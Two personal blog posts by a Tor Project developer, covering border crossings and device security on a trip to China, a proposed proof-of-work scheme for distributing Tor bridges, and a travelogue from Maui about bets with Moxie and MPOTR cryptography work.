When I started officially working on things for the Tor Project a couple years ago, I’d imagined that the world was like a map in an RPG, and that there were a lot of dark, hazy spots that needed filling in. I worried that, if my legal name was publicly attached to Tor, that places like China, Iran, and Syria would always remain dark spots. The idea that I might be prevented from seeing and experiencing those cultures and regions firsthand, that I would not be able to see the homelands of people I wanted to empower, merely because a (corrupt would be redundant) government had gotten wise to some name I don’t answer to — it seemed daunting, and a bit heartbreaking.

I’ve been thinking a lot more about borders lately. Ashamed as I am to admit it (it’s not like I was ever in favour of having borders), until now I’ve held a very privileged perspective on them. Sure, borders suck. Got it. Yep, people should be allowed to work wherever they want. Freedom of association, right? And yet it had never occurred to me: that an invisible line drawn in the sand could keep you away from your home, or that an arbitrary date on a slip of paper could decide how long you were permitted to see someone you loved.

After living in Germany and France for precisely the number of days my tourist visa would allow, (Oops. I’d been counting, and thought I was still a week under. I should probably script that.) I took off for Hong Kong, where OpenITP had generously offered me a travel grant to attend the third Censorship Circumvention Summit. Jumping from France to China to somewhere-undetermined-that-is-not-Schengen definitely presented some interesting security challenges, since I had to take all of the things I own with me. (It all fits in a backpack, so it’s not a space/money issue, it’s a

“%&$#@! I’m carrying devices which normally have access to thousands of computers, including some Tor Project infrastructure and repositories, and I have to keep them safe from a government that is going to hate me more than the United States, while eating nothing but plain rice and travelling 24,671 kilometers?!”
issue.

Since part of this security setup involved not connecting to anything while inside China, I tried as best as I could to remove network capability from my laptop, including recompiling my kernel with most of the CONFIG_[*NET|IP*] settings disabled. Without internet and only IRL people to talk to, I got bored pretty fast (kidding! ♡ ) and resorted to pen and paper technology, because I had some ideas on Tor bridge distribution regarding a system for having clients connect to a bridge Distributor, and the Distributor authenticating the clients or requiring a valid Proof-of-Work computation. If the authcheck or PoW doesn’t pass, the Distributor should instruct an OONI Data Collector node to connect to the client, to scan for censorship events (I wonder if we can actually get a network vantage point from the DPI boxes? :D ), else if the client check passes, the Distributor should instruct a Tor Bridge to connect to the client.

Here are my notes.

Obviously, the Distributors are going to get blocked, but if we were to use something like David Fifield’s FlashProxy, with it’s Facilitator as our Distributor (notice how all these words are oh-so-cleverly suffixed with Tor…), to contact the Distributor through a “normal” browser, the client should still be able to compute the auth/PoW and the Bridge or OONI Collector connect back to them. The Proof-of-Work should be necessary for protecting the Facilitator/Distributor from getting blocked, as well as significantly increase the cost of scanning for bridges.

Zeppelins, Chinese Junk Rigs, and Surfboards

2013-03-25T13:38:00+00:00

One of the first times I met up with Moxie while travelling, we met at a dive bar in San Francisco’s Mission District, packed with hipsters. I had nineteen years, a modified state ID card, and just hitchhiked into town. We sat at the bar, and both ordered well gin and tonics.

I had a proposal, the sort of get-rich-quick scheme it seems that only 18th century pirates and lazy hacker-squatters are capable of contriving: We fly to China. Then, we spend a few grand purchasing a Chinese junk rig, and equip it with a system of pulleys so that we can man the sails from the cockpit, solo if necessary. Next, we fill the cabin with about as much potable water as we can carry and enough dried food to stave off starvation, and set a course across the northern arc of the Pacific — avoiding the treachery of the South Seas — for San Francisco. The choice of vessel was key, the battoned sails and flattened hull of a Chinese junk rig make it arguably one of the safest ships to make a transoceanic voyage alone, not to mention the finicial incentives: being rare in the Americas, a well-kept junk rig would go for anywhere from $50,000 to $250,000 USD — not to mention grant you free slip fees at just about any marina from Anchorage to Punta Arenas. How could anyone turn down such a preposterous plot which included adventure on the high seas, a high mortality risk, riches and notoriety?

As I recall, Moxie shook and hung his head, and smiling countered my proposition.

“Ever heard of Santos Dumont?” he asked.

“Nope.”

“So. Santos Dumont was a Brazilian hero, originally a Frenchman. This was around the late 1800s. He was the type of dude who would trek across the Amazon alone, leave for the North Pole with a party of eight and return with a party of three — your standard gentleman-adventurer, a total madman. Sometime around the turn of the century, he returns to Paris to participate in a race to sail zeppelins from a certain point around the Eifel Tower and back. He wins, but being rich already, gives half the money to charity. The other half of the prize he puts in the care of a trust fund with the instructions that it should be awarded to anyone who can beat his time — thirty minutes or so, from what I remember.”

“No one’s won it yet?”

“I’m not entirely sure, but the story appears to end there — at least, there is no record of anyone claiming the money in the trust — and it’s been sitting there, collecting interest, for over a century now.”

Moxie swept the dreads out of his face, took a sip of the gin, and continued: “It should be simple to beat the time given the advantages of modern materials…”

He and I have had a friendly series of bets throughout our friendship. Moxie usually wins…and I usually forget to name my stakes. I should have bet on this: If ever anyone were to be the cause for my going to the North Pole, it would be Moxie.

I awoke this morning in my underwear on top of a snarled mess of sheets, with my head rather uncomfortably hanging off the edge of the bed, two laptops and three android android phones¹ piled on top of and around me. The rhythmic pink-noise crash of surf was drafting in on sticky air through an open window above my face. I opened my eyes. Knots of lime-coloured vines hung from a tamarind tree with dark beanpods of fruit half a meter long.

Qu’est-que fuck? How did I get to Yavin IV?

I blinked, expecting the familiar snowy silence of Prenzlauerburg to replace the acerbic green foliage, the clockwork clacking of the yellow U-Bahn cars across the raised tracks to replace the steady sound of waves…

Nope. Still on Yavin IV.

Then I remembered the dark curls hanging over noetic eyes and »à plus« on a trainstation platform in the French Alps, the two-hour search and interrogation by US customs agents in the basement of the Montrèal airport, talking all night with expat Iranian dissident-hackers and deciphering the pyobfsproxy stacktraces and kanji showing up in my terminal at the Tor developer meeting at Harvard, and then the series of flights which brought me to the longitudinal apogee of my starting point five days ago. The shortest path of return is straight down; the fastest takes me directly over the North Pole. Damnit, should’ve made that bet…

One of the bets I lost years ago — I think this one was the cost of my hubristic belief that I could pick a lock faster than Moxie — had the stakes “loser has to go surfing naked”. I still haven’t paid that debt, but, having been on a surf team as a kid, I bet that, wetsuit or otherwise, I could surf better than he could. I think I forgot to name my stakes again, but it doesn’t matter because I had to let Moxie off the hook this time, due to the painful complications of his recent knee surgery. Though, while waiting for the others to arrive, Christine, Moxie, and I did get a chance to to test out the small surf in our front yard.

I haven’t had to write any Java yet, and, tragically, my watercolour portait of James Arthur Gosling was confiscated at U.S. Customs in Montrèal, but I did write about twelve pages of equations in an attempt to sort out an elliptic curve MQV variation, changed to add embedded, deniable, and authenticated, key exchanges for both a long-term identity key and ephemeral session key as per Ian Goldberg et.al.’s denAKE() algorithm in the Multi-Party Off-The-Record paper. That’ll get added to my fork of a collaborative MPOTR spec git repo shortly, and review by cryptologists is greatly appreciated. I also rooted my newly-acquired (for OONI mobile development testing and reading arxiv papers) android jellybean tablet, and finally ate the taco and tapatio-coated mango I’d been craving in Berlin.

isis agora lovecruft

Lahaina, Maui, Hawaii, United States

24 March 2013

¹ Well, actually, one of them was a mozilla boot-to-gecko developer phone.